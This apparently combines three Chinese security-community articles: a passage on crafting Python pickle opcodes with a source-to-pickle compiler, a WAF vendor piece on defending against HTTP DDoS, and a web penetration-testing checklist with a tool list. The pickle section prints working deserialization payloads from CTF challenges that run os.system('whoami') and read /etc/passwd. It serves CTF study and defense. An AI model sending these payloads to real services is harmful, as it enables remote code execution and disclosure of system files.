Pickle常见opcode，完整的可在`$PYTHON/Lib/pickle.py`查看
name | op | params | describe | e.g.
---|---|---|---|---
MARK | ( | null | 向栈顶push一个MARK |
STOP | . | null | 结束 |
POP | 0 | null | 丢弃栈顶第一个元素 |
POP_MARK | 1 | null | 丢弃栈顶到MARK之上的第一个元素 |
DUP | 2 | null | 在栈顶赋值一次栈顶元素 |
FLOAT | F | F [float] | push一个float | F1.0
INT | I | I [int] | push一个integer | I1
NONE | N | null | push一个None |
REDUCE | R | [callable] [tuple] R | 调用一个callable对象 | crandom\nRandom\n)R
STRING | S | S [string] | push一个string | S 'x'
UNICODE | V | V [unicode] | push一个unicode string | V 'x'
APPEND | a | [list] [obj] a | 向列表append单个对象 | ]I100\na
BUILD | b | [obj] [dict] b | 添加实例属性（修改`__dict__`） |
cmodule\nCls\n)R(I1\nI2\ndb
GLOBAL | c | c [module] [name] | 调用Pickler的`find_class`，导入module.name并push到栈顶
| cos\nsystem\n
DICT | d | MARK [[k] [v]...] d | 将栈顶MARK以前的元素弹出构造dict，再push回栈顶 | (I0\nI1\nd
EMPTY_DICT | } | null | push一个空dict |
APPENDS | e | [list] MARK [obj...] e | 将栈顶MARK以前的元素append到前一个的list | ](I0\ne
GET | g | g [index] | 从memo获取元素 | g0
INST | i | MARK [args...] i [module] [cls] |
构造一个类实例（其实等同于调用一个callable对象），内部调用了`find_class` | (S'ls'\nios\nsystem\n
LIST | l | MARK [obj] l | 将栈顶MARK以前的元素弹出构造一个list，再push回栈顶 | (I0\nl
EMPTY_LIST | ] | null | push一个空list |
OBJ | o | MARK [callable] [args...] o | 同INST，参数获取方式由readline变为stack.pop而已 |
(cos\nsystem\nS'ls'\no
PUT | p | p [index] | 将栈顶元素放入memo | p0
SETITEM | s | [dict] [k] [v] s | 设置dict的键值 | }I0\nI1\ns
TUPLE | t | MARK [obj...] t | 将栈顶MARK以前的元素弹出构造tuple，再push回栈顶 | (I0\nI1\nt
EMPTY_TUPLE | ) | null | push一个空tuple |
SETITEMS | u | [dict] MARK [[k] [v]...] u | 将栈顶MARK以前的元素弹出update到前一个dict |
}(I0\nI1\nu
对应的实现都可以在`pickle._Unpickler`的`load_*`成员函数中查看，选取两个常见的：
`pop_mark`为将MARK`(`上的所有元素弹出为一个list，然后push回栈。所以需要这样构造`(I0\nI1\nl`
读取到INST指令后，往后读两个操作数，调用`find_class`，然后弹出栈上MARK以上的参数，调用callable对象实例化，所以这样构造`(S'ls'\nios\nsystem\n.`
## 0x03 官方的Demo限制了什么
官方给出的安全反序列化是继承了`pickle.Pickler`类，并重载了`find_class`方法
父类原本的操作是把module导入`sys.module`缓存中（并未导入全局或局部作用域），然后getattr取值，所以重载该方法后即可对module和name进行限制
哪些操作符会调用`find_class`？
GLOBAL:c
INST :i
还有protocol4的STACK_GLOBAL:\x93 # same as GLOBAL but using names on the stacks
但`find_class`的限制仅仅是对该函数参数过滤，并没有hook
`__import__`等函数，所以通过`eval('__import__(\'xx\')')`等即可绕过
## 0x04 Bypass方法简述
拿code breaking的举例，bypass的操作是：
getattr = __import__('builtins').getattr
eval = getattr(globals()['__builtins__'], 'eval')
eval('__import__("os").system("id")')
||||||
vvvvvv
getattr = __import__('builtins').getattr
dict = __import__('builtins', 'dict')
__builtins__ = getattr(dict, 'get')(__import__('builtins').globals(), '__builtins__')
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("id")')
这里有几个点：
* 只可通过`__import__`来导入对象，所以获取`__builtins__`中的对象需要`__import__('builtins').xx`（Python2中是`__builtin__`）
* 由上一条，虽然`__import__`转手了`__builtins__`，但无法获取，还是得通过`globals()['__builtins__']`获取
* 字典无法直接取值，需获取到dict的类方法get，传dict实例和key进去
## 0x05 自动化构造
构造起来很简单，但写着汇编操作符终究比较麻烦，我们可以想办法实现自动化的Python source code => Pickle opcode
我们可以做到什么：
* 变量赋值：存到memo中，保存memo下标和变量名即可
* 函数调用
* 类型字面量构造
* list和dict成员修改
* 对象成员变量修改
感觉差不多足够应付常见构造，概括一下，我们支持这样的三种单行表达式：
* 变量赋值：
* 左值可以是变量名，dict或list的item，对象成员
* 右值可以是基础类型字面量，函数调用
* 函数调用
* return：可返回0~1个参数
## 0x06 遍历AST节点
Python的`ast.NodeVisitor`实现了metaclass一样的动态解析类方法的功能，我们遍历这样三种语句
Pickler的`__setitem__`实现了主要解析逻辑：
对应了上文中赋值语句左值和右值的几种情况
## 0x07 TESTING
测试今年的几道题目
### Code_breaking
$ cat test/code_breaking
getattr = GLOBAL('builtins', 'getattr')
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
__builtins__ = dict_get(builtins, '__builtins__')
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("whoami")')
return
$ python3 pker.py < test/code_breaking
b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("whoami")\'\ntR.'
### Guess_game
guess_game的两种方法，每一轮修改game对象的curr_ticket或修改game的round
提一嘴，这道题之所以能修改是因为每一轮导入的game是已实例化的对象，build操作直接update了实例属性
方法一：
$ cat test/SUCTF2019_guess_game_1
Game = GLOBAL('guess_game.Game', 'Game')
game = GLOBAL('guess_game', 'game')
game.round_count = 10
game.win_count = 10
ticket = INST('guess_game.Ticket', 'Ticket', 6)
return ticket
$ python3 pker.py < test/SUCTF2019_guess_game_1
b"cguess_game.Game\nGame\np0\n0cguess_game\ngame\np1\n0g1\n(N(S'round_count'\nI10\ndtbg1\n(N(S'win_count'\nI10\ndtb(I6\niguess_game.Ticket\nTicket\np4\n0g4\n."
方法二：
$ cat test/SUCTF2019_guess_game_2
ticket = INST('guess_game.Ticket', 'Ticket', 0)
game = GLOBAL('guess_game', 'game')
game.curr_ticket = ticket
return ticket
$ python3 pker.py < test/SUCTF2019_guess_game_2
b"(I0\niguess_game.Ticket\nTicket\np0\n0cguess_game\ngame\np1\n0g1\n(N(S'curr_ticket'\ng0\ndtbg0\n."
### BalsnCTF2019_Pyshv1-3
<https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc/pyshv1>
<https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc/pyshv2>
<https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc/pyshv3>
这三道题其实考察了不止Pickle opcode，包含一些Python特性的考察，重点还是放在Pickle payload的生成上吧
Pyshv1
$ cat test/BalsnCTF2019_Pyshv1
modules = GLOBAL('sys', 'modules')
modules['sys'] = modules
module_get = GLOBAL('sys', 'get')
os = module_get('os')
modules['sys'] = os
system = GLOBAL('sys', 'system')
system('whoami')
return
$ python3 pker.py < test/BalsnCTF2019_Pyshv1
b"csys\nmodules\np0\n0g0\nS'sys'\ng0\nscsys\nget\np2\n0g2\n(S'os'\ntRp3\n0g0\nS'sys'\ng3\nscsys\nsystem\np5\n0g5\n(S'whoami'\ntR."
$ cat test/BalsnCTF2019_Pyshv2
__dict__ = GLOBAL('structs', '__dict__')
builtins = GLOBAL('structs', '__builtins__')
gtat = GLOBAL('structs', '__getattribute__')
builtins['__import__'] = gtat
__dict__['structs'] = builtins
builtin_get = GLOBAL('structs', 'get')
eval = builtin_get('eval')
eval('open("/etc/passwd").read()')
return
$ python3 pker.py < test/BalsnCTF2019_Pyshv2
b'cstructs\n__dict__\np0\n0cstructs\n__builtins__\np1\n0cstructs\n__getattribute__\np2\n0g1\nS\'__import__\'\ng2\nsg0\nS\'structs\'\ng1\nscstructs\nget\np5\n0g5\n(S\'eval\'\ntRp6\n0g6\n(S\'open("/etc/passwd").read()\'\ntR.'
$ cat test/BalsnCTF2019_Pyshv3
User = GLOBAL('structs', 'User')
User.__set__ = User
user = User(0, 0)
User.privileged = user
return user
$ python3 pker.py < test/BalsnCTF2019_Pyshv3
b"cstructs\nUser\np0\n0g0\n(N(S'__set__'\ng0\ndtbg0\n(I0\nI0\ntRp2\n0g0\n(N(S'privileged'\ng2\ndtbg2\n."
这里再提一嘴：
* 实例方法是自动绑定了实例本身的类方法，和函数签名是完全吻合的。直接获取实例的方法已经绑定了第一个参数，可以看作是函数的柯里化
* 类的`__set__`方法需在类定义时定义，同样设置`setter`也需对类成员设置（类成员是类对象的成员，实例成员为各实例私有（今天还看见先知群师傅在问））
* Python3中的类属性`cls.__dict__`是mappingproxy代理对象，不支持直接的`cls.__dict__['x'] = 0`的修改，所以在生成Pickle opcode中我统一使用了`(}(I0\nI1\ndtb`的方法，原因在Pickle源码中的load_build方法：
*
其实按逻辑来说只要tuple的第一个值为空值即可，但模块实际导入了`_pickle`模块，和这里列出的函数实现不同，它要求第一个值必须是dict（也可以是None）
## 0x08 参考文章
* <https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html>
* <https://www.anquanke.com/post/id/188981>
* <https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf> | 社区文章 |
# 超低成本DDoS攻击来袭，看WAF如何绝地防护
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、DDoS攻击，不止于网络传输层
网络世界里为人们所熟知的DDoS攻击，多数是通过对带宽或网络计算资源的持续、大量消耗，最终导致目标网络与业务的瘫痪；这类DDOS攻击，
**工作在OSI模型的网络层与传输层，利用协议特点构造恶意的请求载荷来达成目标资源耗尽的目的** 。
除了这类在网络传输层大做文章的DDoS攻击，还有一类DDoS攻击把目光聚焦到了应用层。随着互联网的飞速发展，接入流量逐年攀高，承载这些流量的网络应用也被黑产、黑客们盯上，在DDoS攻击场景中也不例外。
由于应用层流量更贴近业务逻辑， **在应用层发起DDoS攻击可以同时对目标网络与目标服务器的稳定性造成威胁**
。除此之外，攻击者往往只需较小的带宽成本，实现更大的破坏效果，这样的不对称性自然更受攻击者们的关注与青睐。
Cloudflare在 《DDoS Attack Trends for 2022 Q1》报告指出，全球范围内应用层DDoS攻击(主要是HTTP
DDoS)呈现着持续增长的态势。 **在俄乌的网络战争中，HTTP DDoS攻击也扮演着重要的角色** 。
与此同时，应用层DDoS攻击的攻击方式与手法在也在不断演进升级。
**从集中式高频请求逐步演进为分布式低频请求，从请求报文中携带显著恶意特征变化为重放合法请求流量，伪造搜索引擎爬虫流量等**
；而在攻击的频率与规模上，应用层DDoS攻击也呈现出不断增长的趋势。
针对攻击手法的升级变化，业务防护可以从两方面着手应对： **一是在运营对抗上**
，在攻击发生的事前、事中和事后各阶段，通过梳理资产信息、分析攻击报文并进行特征提取、配置防护策略、复盘防护数据等手段不断提升防护对抗效果；
**二是在防护能力建设上** ，可以引入支持多维度特征组合的限速功能、JS Challenge、验证码等功能模块来提升对高级复杂的应用层
DDoS攻击的识别处置能力。与此同时，在流量接入链路中与CDN、LB、AGW等各接入层产品进行联动合作，
**通过在不同接入层级落地相关防护策略，实现攻击流量的分级收敛，在应对大规模应用层DDoS攻击时更能凸显防护效果** 。
## 二、0门槛，高收益，一键发起攻击
上面提到的应用层DDoS攻击， **是通过向应用程序发送大量恶意请求实现攻击效果，以每秒请求数 (QPS) 来衡量攻击量级与规模** ；这类攻击也称为 7
层 DDoS 攻击，可针对和破坏特定的网络应用程序，而非整个网络。虽然这类 DDoS 攻击难以预防和抵御，但发动起来却相对比较容易，具体有多容易呢？
由于7层DDoS通常不需要过高的带宽成本，也无需构造复杂的协议利用报文，在黑灰产交易渠道，可以非常便捷地获取到发起7层DDoS的工具与服务。
即便是知名、成熟的互联网应用，在这类攻击面前也存在被攻陷的可能与风险。
## 三、HTTP DDoS攻击的类型与特点
### 3.1 攻击类型
7层DDoS攻击中，瘫痪目标应用与服务是首要目标，根据HTTP DDoS(CC)攻击发起的原理与方式，可以总结以下攻击类型：
**– HTTP floods**
这种攻击主要分为两种形式。第一种是HTTP GET request floods， **攻击者通过构造HTTP
GET请求报文，向目标服务器发送针对特定资源的大量请求**
。在客户端执行一条HTTP请求的成本很低，但是目标服务器做出对应的响应成本却可能很高。比如加载一个网页，服务端通常需要加载多个文件、查询数据库等才能做出响应；例如在Web业务的防护中，对于有SSR(Server-side rendering)功能页面的HTTP floods攻击，其量级与频率更加突出明显，也更容易对业务造成影响与危害。
第二种是HTTP POST request floods，与GET request floods的显著区别是，
**POST请求往往需要携带表单参数或请求体信息，而这通常意味着服务端需要对请求内容进行相关解析处理，并将数据进行持久化(通常需要进行DB操作)**
。发送POST请求一般仅需较小的计算与带宽成本，而服务端进行处理操作的过程往往消耗更高。可以说这种攻击形式下，形成这种请求响应间资源消耗差异的空间或可能性更大，更容易实现让服务器过载从而拒绝服务的目标。
**– Large Payload POST requests**
这类攻击一般 **通过POST方法发送容量大、结构复杂的请求体到目标服务器，使得目标服务器在解析这些请求内容的过程发生过载(CPU或内存)**
；一般而言，攻击者通过构造特定的序列化请求体，如xml、json等，在服务端执行反序列化操作时引起服务过载。
**– Asymmetric requests**
这种类型的攻击顾名思义，利用的就是请求与响应的非对称性，请求的目标路径会执行高消耗操作而发起攻击请求轻而易举。通常来说，
**这类攻击需要对目标服务有一定的熟悉与了解，明确攻击目标哪些地方存在这种非对称性利用的可能及利用方式**
。比如通过从数据库服务器下载大型文件或大量执行数据库的查询等接口，就容易被这种类型攻击所利用。
**– Low &Slow attack(Slowloris/Slow Post/Read attack)**
这种类型的攻击更多是面向连接层面，以基于线程的Web服务器为目标，通过慢速请求来捆绑每个服务器线程，从而消耗服务器的线程&连接资源，这类攻击中主要可分为Slowloris、Slow
Post/Read 几种攻击方式。
### 3.2 攻击特点
根据上述总结的HTTP DDoS攻击类型、原理与实现方式，可以总结出HTTP DDoS攻击具备以下特点：
**– 攻击门槛、成本低**
相较于4层DDoS攻击，发起HTTP DDoS攻击往往无需构造复杂的攻击报文，仅需较少的带宽就能实现强大的攻击效果。
**– 攻击目标更精细**
攻击的目标可以精细到服务接口粒度，例如直播页面等，而不需要瘫痪目标的网络也能让业务出现拒绝服务。
**– 破坏范围广，危害程度高**
虽然HTTP DDoS攻击的首要目标是瘫痪目标服务，但并不意味着对目标网络的可用性没有威胁。当HTTP
floods量级到一定程度时，也存在瘫痪请求接入层网络的可能性。
**– 攻击源分布广，隐匿性强**
实际的HTTP DDoS攻击中，攻击者常常利用规模庞大的肉鸡/代理IP，而HTTP
DDoS攻击报文中往往不具备或具备难以察觉的恶意特征。对这些攻击源进行封禁处置效果有限甚至有误报风险，攻击者却可以随时更换新一批攻击源。
**– 请求特征容易伪装，防护难度大**
不同于Web注入攻击场景，HTTP
DDoS的攻击请求的报文特征常常处在一个难以判定好坏的区间，有时部分的异常特征不足以支撑执行拦截决策。攻击者可通过模拟、重放正常请求来发起攻击，即便在请求报文中某些特征被防护方捕获并针对性处置，攻击者也能感知到并作出调整。
总体而言，一起复杂的HTTP
DDoS攻击，通常不会使用畸形报文，也无需使用伪装技巧。对比其他类型的DDoS攻击需要更少的带宽成本就能瘫痪目标站点或服务，甚至特定的目标集群与接口。在影响目标业务可用性的同时，也可能对接入链路网络的稳定性构成威胁。
**这类攻击往往通过使用大量的肉鸡+IP代理池发起，所以简单的封禁策略往往难以起到预期效果** 。也正因为如此，在进行HTTP
DDoS攻击防护过程，要求对业务有更深入的理解，对于攻击定制针对性策略来实现误报与漏报的平衡，这也是HTTP DDoS难以检测防护的原因。
## 四、兵来将挡，WAF如何实现有效防护
根据上述HTTP DDoS的类型与特点，对于来势汹汹的攻击流量，WAF如何实现有效防护呢？
根据攻击的原理与类型，可以大致分为三个主要的防护场景：
### 4.1 连接型HTTP DDoS
这类型的HTTP DDoS攻击，对应上面提到的Low&Slow attack。由于
**攻击是通过建立TCP连接后在传输HTTP报文的过程实现攻击效果，因此对于业务前面有7层接入层设备的业务(CDN、LB等)，这类攻击会被前面的7层接入层设备所承载**
。所以对于许多业务而言，这类型的攻击感知可能并不明显，但并不表明这类攻击的危害程度低。相反如果针对特定7层接入设备进行此类型攻击，可能造成的业务影响面会更加广泛。
由于这类攻击的特点是“慢速”，那么 **WAF可以对HTTP的请求header读取、请求、响应body的传输设置好超时时间**
。当触发超时策略时可断开相应的TCP连接，释放连接资源。同时，可对于异常的header、body做检查与限制（如限制HTTP请求header的数量）。还可以通过HTTP层面的精细化访问控制来避免误伤场景（如正常业务的大文件传输场景）。
当然，要实现这些能力需要WAF与7层接入设备做好联动配合才能实现有效防护。
### 4.2 特征型HTTP DDoS
这类型的HTTP DDoS攻击，对应上面的Large Payload POST requests 和 Asymmetric
requests，他们的共同点是需要实现这类HTTP DDoS攻击，在HTTP请求报文中往往能够提取出关键异常特征。
例如，对于Large Payload POST requests，WAF可通过限制body长度，检查body内容合法性等手段来实现防护；
{
"title": "Liverpool FC (1 million more whitespace)",
"contentFormat": "html",
"content": "<h1>Liverpool FC</h1><p>You’ll never walk alone.</p>",
"canonicalUrl": "http://jamietalbot.com/posts/liverpool-fc",
"tags": ["football", "sport", "Liverpool"],
"publishStatus": "public"
}
例如针对上述的超大异常body，可通过WAF配置自定义策略限制body长度。
对于Asymmetric requests攻击，例如HTTP Range头利用的例子中， **WAF可通过限制HTTP
Range头的分片策略实现异常检测与防护；对于一些漏洞利用，特别是业务使用的服务框架、中间件产生的漏洞造成的DDoS，利用WAF的Web漏洞检测防护能力便能实现有效防护**
。
### 4.3 floods型HTTP DDoS
floods类型的HTTP DDoS在现实网络流量中更为主流与常见， **影响业务稳定性的风险更大，是需要重点关注的防护场景**
；WAF在面对这类型攻击时，可根据floods类型HTTP DDoS攻击的特征、特点，分析拆解防护策略，通过以下手段、步骤来实现有效防护：
**第一步：链路梳理，明确业务场景**
当业务面临HTTP floods攻击防护需求时，首先需要梳理清楚业务的流量接入链路。因为HTTP
floods通常具有持续、量级规模大的特点，因此最佳的防护部署是首先通过在 **最外接入层实现(例如CDN)**
，这样的优点很明显，能将恶意的攻击流量在最外层收敛，减少后续接入层的压力与成本。但这并不意味着后续接入层无需部署防护，由于防护的精准程度与防护成本往往是正相关关系，经过收敛的流量在贴近业务的接入层做更精细的检测、处置，往往收益更明显；
同时， **明确业务服务的使用场景在应对HTTP floods攻击时也非常关键且必要**
，业务不同的host、path往往有不同的业务特征。比如后端负载能力、是否有登录态、WebApp还是Native
App、是否有API调用场景等，只有在明确业务场景后才能更好地制定精准、贴合业务需求的防护策略。
业务链路梳理&防护部署
**第二步：负载兜底，构建防护基线**
在HTTP floods发生时，最基本的防护需求是要保证业务的可用性，不能出现因攻击而造成业务瘫痪的情况；在这个需求背景下，
**最快速有效的策略便是为业务制定负载兜底策略** 。与业务共同梳理清楚需要防护的目标资产(host、server
cluster、path等)，根据业务场景先配置全局/粗粒度的限速策略，实现对攻击流量的初步防护收敛；
同时，在明确目标防护资产的负载能力后，进行更细粒度的限流/过载保护策略配置， **在流量过载的极端情况下优先保证服务的可用性，构建一层基线防护能力** 。
**第三步：特征分析，过滤恶意流量**
采取上述策略手段实现初步防护后，需要 **对HTTP floods流量进一步分析过滤** ，才能在保障正常业务流量的同时将恶意流量拒之门外。这里就需要
**WAF提供基于HTTP请求、响应报文的多维组合、匹配能力** ，识别出报文中的异常特征并提供针对性的处置手段。例如，在对抗业务遭受的HTTP
floods恶意流量攻击过程中，除了提取常见的异常IP，Params，UA，Referer，Cookie等特征进行封禁或限速处置外，还会将相关特征进行组合关联，为策略统计与响应处置提供参考。
通过对攻击流量特征的分析统计，在WAF上进行组合策略配置
除了通过WAF丰富的特征分析能力识别恶意流量，在面临HTTP floods攻击时，提供丰富、梯度的处置动作对于在防护过程平衡误伤风险也非常关键。WAF可提供
**封禁、限速、重定向、验证码、JS Challenge、自定义响应** 等多种处置动作与特征识别能力配合，为防护的精准性提供保障。
**第四步：能力联动，提升防护效果**
对于专业的HTTP
floods攻击，攻击者会尽可能地模拟、重放正常的用户请求流量。因此从“HTTP报文特征”去识别防护恶意流量，可能还远不足以应对高级复杂的HTTP
floods攻击。对于HTTP floods攻击手法的持续升级演进，
**除了从HTTP报文层面抽丝剥茧识别异常，还需要联动其他维度的信息与能力来提升防护效果** ，具体而言体现在以下方面：
* 对于高级隐蔽的HTTP floods，攻击者必定需要充足的IP资源，这些IP往往来源于“肉鸡”IP或IP代理池，通过结合高质量的IP情报信息，可以在攻击发生时自动实时处置，实现精准防护；
* 同时，专业的HTTP floods攻击离不开自动化工具的支持，这类工具往往具有BOT特征。通过对端侧信息的采集、校验，与每个请求进行关联，可以在攻击发生时自动识别恶意BOT流量，进一步提升防护效果。
WAF的JS Challenge功能，就是通过能力联动来提升防护效果的一个例子：
不同于对请求报文检测来识别异常这种“被动”的防护方式， **JS Challenge功能通过在防护检测过程“主动”向客户端植入一段JS逻辑**
。通过利用前端浏览器的JS渲染执行能力，实现对异常流量的识别；在具体的实现过程中，为了对抗重放攻击、减少绕过风险，可能会引入动态令牌机制；为了更全面地覆盖业务场景，减少误伤情况发生，可以利用JS
API调用判断浏览器环境与兼容性；为了对防护情况的实时掌控，还可能引入埋点、监控逻辑等。
在这些技术细节的实现过程中，WAF既需要联动端侧浏览器的能力，也需要联动CDN、LB等接入组件的能力，最终实现防护效果的进一步提升。
## 五、复盘反思，如何快人一步
WAF在对抗HTTP
DDoS攻击的过程中，不断建设、强化自身能力的同时，也需要不断复盘、反思防护情况，力求更完善、高效的应对思路与方案。具体可以总结成以下三点：
### 5.1 丰富特征维度
根据HTTP
DDoS攻击的特点可以得知，防护难点之一在于攻击流量特征难以捕捉。其中一个原因是依据现有的特征维度，攻击流量能实现高度的模拟伪装。从这个角度出发，从防护视角补充更多维度的特征，就更能识别检测恶意流量。
就WAF产品而言，可以从两方面着手推进：一方面是 **丰富报文特征**
，除了7层HTTP报文的特征提取，可以尝试结合4层报文的字段因子来实现对恶意流量的识别标记；另一方面是 **丰富行为特征**
，由于HTTP是无状态协议，单次请求响应的交互所携带的信息往往是有限的。通过关联、统计具有一定联系的请求，提取行为特征，也能为制定防护策略提供参考。
### 5.2 提升BOT识别&对抗能力
对于BOT流量的识别对抗能力，在HTTP
DDoS攻击防护中，往往发挥着重要、关键的作用。但现实业务流量中往往也会混杂正常的BOT流量，这就要求不仅能识别出BOT流量，还能区分正常与恶意的BOT流量，
**具备与恶意BOT流量的对抗处置能力** 。
在落地相关方案时，也需要与业务场景紧密贴合。对于WebApp而言，正常流量多数通过浏览器发起，可以通过JS
Challenge的方式实现对端侧的校验与信息采集。通过该方案实现WebApp场景防护的同时，在技术实现上也需要不断迭代优化来满足更多元的业务场景需求。例如对于JS相关逻辑用更高效的混淆方式来避免绕过风险，对引入的JS资源做好缓存/优化策略提升业务性能与用户体验等。
对于NativeApp而言，则可以 **通过SDK集成方式来验证、采集端侧信息**
。但无论是哪种方式、场景，都需要有更完善的误伤评估、监控体系来保障防护的精准性。对于无法准确识别恶意BOT流量的情况，也需要更丰富的柔性处置策略，来实现对流量的进一步过滤校验。
### 5.3 策略事前布局
预防为主，防治结合，这是人类应对疾病威胁的重要方针，在网络安全世界中也同样适用。HTTP
DDoS攻击发生时往往来势汹汹，事先并没有任何征兆。这就意味着事中、事后的处置策略对当前攻击通常只能起到应急补救的效果。因此，对于存在攻击风险的业务，提前梳理业务资产，预先进行策略布局就显得更为重要。
为了实现这个目标可从两方面着手：一个是与业务团队紧密配合，做好宣传引导，在WAF产品中 **对关键目标资产实现HTTP DDoS防护策略的事前配置**
；另一个是强化WAF的自动化分析能力， **对承载业务的目标资产、负载能力、报文特征等数据进行自动化统计分析，输出对应的防护策略**
，对生产的策略效果进行实时评估、校准，在提升防护效果的同时也能大幅降低策略运营成本。
## 六、关于火山引擎WAF团队
火山引擎WAF团队由业界资深安全专家组成，基于多年的Web安全攻防经验积累，为抖音、今日头条等业务提供持续的安全保障。 | 社区文章 |
# 渗透测试标准
## Web漏洞检测表
1 收集web相关信息，开放端口信息，服务信息等。
2 严禁增/删/改防火墙iptables，私自开通高危端口。
3 检查Flash跨域策略文件crossdomain.xml是否合法。
4 检查是否有CSRF漏洞,(根据系统条件进行检测)。
5
信息泄露漏洞安全性检查（例如test.cgi、phpinfo.php、info.php、.svn/entries、HTTP认证泄漏漏洞、管理后台泄漏漏洞、内网信息泄漏漏洞、错误详情信息泄漏等）。
6 检查是否有XSS漏洞（不合法的参数不能在页面原样返回，特别是openid/openkey）。
7 检查是否泄漏后台默认文件漏洞。
8 检查Flash跨域策略文件的安全性。避免Flash注入javascript或者actionscript脚本在浏览器或者flash中执行跨站攻击。
9 Cookie安全性检查。
10 检查是否有跳转漏洞。
11 检查是否有Header注入漏洞。
12 检查是否有源代码泄漏漏洞或者备份文件。
13 检查是否有Frame-proxy攻击漏洞。
14 检查是否有SQL注入攻击漏洞。
15 检查是否有并发漏洞。
16 敏感信息检查。应用需要对可能造成客户的敏感内容，以及用户生成内容（UGC，由用户发表的言论）进行检查和过滤。
17 检查通过WEB页面发起的临时会话窗口的所有显示内容。
18 目录浏览漏洞安全性检查。
19 检查是否泄漏员工电子邮箱漏洞以及分机号码。
20 查看是否有验证码机制，以及验证码机制是否完善。
21 检查用户名是否可进行枚举。
22 检测网站路径中是否存在robots.txt。
23 检查是否部署了Web服务器的控制台，控制台是否存在默认帐号、口令，是否存在弱口令。
24 检查网站目录是否可列。
25 检测目标认证系统是否存在绕过的可能，未授权访问等。
26 检测网站登录后修改密码是否存在缺陷。
27 检测Web程序在处理登录过程中用户名和口令的传输是否采用了加密传输的机制。
28 检测弱口令，web控制台，数据库，ftp，ssh，telnet，操作系统等。
29 检测是否提供注销登陆功能，或者退出后session自动失效。
30 检测是否存在浏览器窗口闲置超时后需重新登录的机制。
31 检测页面中是否存在的横向越权（水平越权）操作。
32 检测应用中存在的URL是否存在纵向越权（垂直越权）操作。
33 检测是否存在任意文件上传漏洞，并且是否可以解析相关木马文件。
34 检测是否存在任意下载，遍历下载系统或者web内的文件。
35 检测Web网站在处理用户提交的不存在的URL时会返回错误信息，是否可通过返回的错误信息来确认有敏感信息的泄漏问题。
36 检测是否存在遗留的测试页面。
37 检测是否会在本地存储不安全的敏感文件。
38 检测是否存在命令执行漏洞。
39 检测逻辑上的安全问题，是否存在篡改。
40 检测是否可通过搜索引擎进行信息收集。
## 认证和授权类
1 密码明文传输。
2 用户名枚举。
3 暴力攻击。
4 会话标示未更新。
5 未授权访问。
6 文件上传漏洞。
7 任意文件下载。
8 脆弱的SSL算法。
9 越权访问。
## 命令执行类
1 Struts2 远程命令执行。
2 Jboss远程命令执行。
3 HTTP.sys远程代码执行漏洞。
4 文件包含。
## 逻辑攻击类
1 验证码功能缺陷。
2 并发漏洞。
3 Slow Http attack、慢速攻击。
4 短信攻击。
## 注入攻击类
1 SQL注入。
2 XML注入。
3 CRLF注入。
4 XFF注入。
5 XPATH注入。
6 命令注入。
7 连接或框架注入。
8 Json劫持漏洞。
9 宽字节注入。
## 客户端攻击类
1 XSS跨站脚本漏洞。
2 跨站伪造请求（CSRF）。
3 不安全的HTTP方法。
## 信息泄露类
1 目录遍历。
2 Web容器控制台地址泄漏。
3 PHPInfo()信息泄漏。
4 POODLE信息泄露漏洞。
5 SVN信息泄露。
6 备份文件泄露。
7 内网IP地址泄露。
8 Cookie信息泄露。
9 异常信息泄露。
10 敏感信息泄露。
11 IIS断文件名泄露。
12 Robots文件信息泄露。
## 其他类型
1 跨域访问漏洞。
2 URL重定向。
3 DNS域传送漏洞。
4 开放多余端口。
5 PHP multipart/form-data。
6 . ASP.NET Padding Oracle攻击。
7 HTTP Host头攻击。
8 SSRF攻击。
9 TLS1/SSLv3 重协商漏洞。
10 Web服务器解析漏洞。
## 附录
## Web安全常见检测工具
1 APPScan：IBM Rational AppScan，在Web安全测试中所使用的自动化扫描工具。
2 WVS：Acunetix WVS Reporter 自动化的Web应用程序安全测试工具。
3 Netsparker：一款综合型的web应用安全漏洞扫描工具。
4 Httprint：Web服务器类型和版本的探测工具。
5 Sqlmap：SQL注入测试工具。
6 WireShark：网络协议抓包与分析工具。
7 Burp suite：神器，可以对浏览器与Web服务器之间的通信数据进行编辑修改。
8 Nmap：端口扫描，服务识别，操作系统指纹识别。
9 NetCat：端口连接，数据提交。
10 Tamper IE：HTTP数据包修改、转发工具（Firefox插件）。
11 Fiddler：Http协议调试代理工具。
12 Firefox/Chrome渗透测试插件推荐
firefox一直是各位渗透测试必备的利器，这里整理了34款Firefox插件和几款Chrome的插件，其中包含渗透测试、信息收集、代理、加密解密等功能。
Firefox插件
1 Firebug
[ Firebug](https://addons.mozilla.org/en-US/firefox/addon/firebug/)
[ addon-1843-latest.xpi](https://addons.cdn.mozilla.net/user-media/addons/1843/firebug-2.0.19-fx.xpi?filehash=sha256%3A71de039ceaabbe4d05a3e6db9b994864d1db9c2ba50517a6990930f5f0cbd089)
Firefox的 五星级强力推荐插件之一
2 User Agent Switcher
[ User Agent Switcher](https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/)
[addon-59-latest.xpi](https://addons.cdn.mozilla.net/user-media/addons/59/user_agent_switcher-0.7.3-fx+sm.xpi?filehash=sha256%3A17d3ed8943e83bf463d7d7decfe15f6093f52143469258bda1bdb5021ec68c00)
改变客户端的User Agent的一款插件
3 Hackbar
<https://addons.mozilla.org/en-US/firefox/addon/hackbar/>
<https://addons.cdn.mozilla.net/user-media/addons/3899/hackbar-1.6.3-fx.xpi?filehash=sha256%3Ad339ec8e4c0862d932ee85f556bfd60d53dc10360d4fad76916c40a1bfe868c1>
攻城师们的必备工具，提供了SQL注入和XSS攻击，能够快速对字符串进行各种编码。
4 HttpFox
<https://addons.mozilla.org/en-US/firefox/addon/httpfox/>
